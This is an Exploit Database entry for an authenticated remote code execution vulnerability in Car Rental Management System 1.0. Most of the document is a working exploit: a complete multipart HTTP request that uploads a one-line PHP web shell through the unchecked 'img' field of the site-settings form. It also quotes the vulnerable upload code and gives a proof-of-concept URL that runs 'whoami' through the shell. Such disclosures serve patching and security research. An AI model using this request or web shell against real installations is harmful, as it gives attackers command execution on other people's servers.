Car Rental Management System 1.0 – Remote Code Execution (Authenticated)

• Exploit Database
• 40 阅读

• 作者： Mehmet Kelepçe
  日期： 2020-11-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49055/

• # Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)
  # Date: 2020-11.13
  # Exploit Author: Mehmet Kelepçe / Gais Cyber Security
  # Author ID: 8763
  # Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
  # Version: 1.0
  # Tested on: Apache2 - Windows 10
  
  Vulnerable param: img
  -------------------------------------------------------------------------
  POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
  Accept: */*
  Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  X-Requested-With: XMLHttpRequest
  Content-Type: multipart/form-data; boundary=---------------------------30709612614161811513297969444
  Content-Length: 777
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/car_rental/admin/index.php?page=site_settings
  Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean
  
  -----------------------------30709612614161811513297969444
  Content-Disposition: form-data; name="name"
  
  Car Rental Management System
  -----------------------------30709612614161811513297969444
  Content-Disposition: form-data; name="email"
  
  info@sample.comm
  -----------------------------30709612614161811513297969444
  Content-Disposition: form-data; name="contact"
  
  +6948 8542 623
  -----------------------------30709612614161811513297969444
  Content-Disposition: form-data; name="about"
  
  content
  
  -----------------------------30709612614161811513297969444
  Content-Disposition: form-data; name="img"; filename="k.php"
  Content-Type: application/octet-stream
  
  <?php echo passthru($_GET['k']);?>
  -----------------------------30709612614161811513297969444--
  
  
  Source Code:
  
  admin\admin_class.php:
  --------------------------------------------------------------------
  if($_FILES['img']['tmp_name'] != ''){
  $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
  $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
  $data .= ", avatar = '$fname' ";
  
  }
  
  --------------------------------------------------------------------
  
  POC:
  http://{site]/admin/assets/uploads/{FILE}.php?k=whoami